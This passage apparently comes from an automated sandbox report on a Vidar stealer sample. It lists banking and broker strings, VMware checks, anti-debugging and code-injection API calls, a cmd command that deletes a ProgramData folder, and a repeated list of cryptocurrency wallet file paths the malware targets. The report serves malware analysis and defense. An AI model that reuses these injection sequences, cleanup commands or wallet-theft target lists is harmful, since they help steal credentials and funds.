Source: Amcache.hve.13.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.13.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.13.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.13.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.13.dr	Binary or memory string: VMware, Inc.
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.13.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.13.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.13.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.13.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Amcache.hve.13.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.13.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BFCAAEHJDB.exe, 00000007.00000002.3447891511.0000000001198000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000002.2971561968.0000027B35867000.00000004.00000020.00020000.00000000.sdmp, main.exe, 00000017.00000003.2915570882.000001E397F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000002.2768054750.000000001B536000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.13.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.13.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.13.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.13.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2373662766.000000001B597000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-86565

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process queried: DebugPort
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0041D12F

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402000 VirtualProtect 00000000,00000004,00000100,?

0_2_00402000

Source: C:\Users\user\Desktop\file.exe

0_2_00417A40

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004176E0 mov eax, dword ptr fs:[00000030h]

0_2_004176E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402000 lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,GetProcessHeap,HeapAlloc,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenA,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,VirtualProtect,lstrlenW,lstrlenW,lstrlenW,lstrlenW,lstrlenW,

0_2_00402000

Source: C:\ProgramData\BFCAAEHJDB.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041ECC8 SetUnhandledExceptionFilter,	0_2_0041ECC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041D12F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0041D12F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041CAF5 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041CAF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C81B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C81B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C81B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C9CAC62
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FF620941131 Sleep,Sleep,_amsg_exit,_initterm,_initterm,SetUnhandledExceptionFilter,_malloc_dbg,strlen,_malloc_dbg,_cexit,	23_2_00007FF620941131

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5012, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040ED80 memset,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,ResumeThread,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,

0_2_0040ED80

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00411400 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,FindCloseChangeNotification,		0_2_00411400
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004112F0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_004112F0

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

23_2_00007FFDA38CF0FE

Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\BFCAAEHJDB.exe "C:\ProgramData\BFCAAEHJDB.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\DAEGIDHDHIDG" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5012 -ip 5012	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5012 -s 3212	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 436 -p 1524 -ip 1524	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1524 -s 1176	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401000 cpuid

0_2_00401000

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_0040FC30

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0041A440 GetLocalTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0041A440

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040FAE0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_0040FAE0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040FBC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_0040FBC0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.13.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.3.file.exe.40d0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.40d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.40a0e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2762584884.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2206480841.00000000040D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2762253914.000000000251A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5012, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
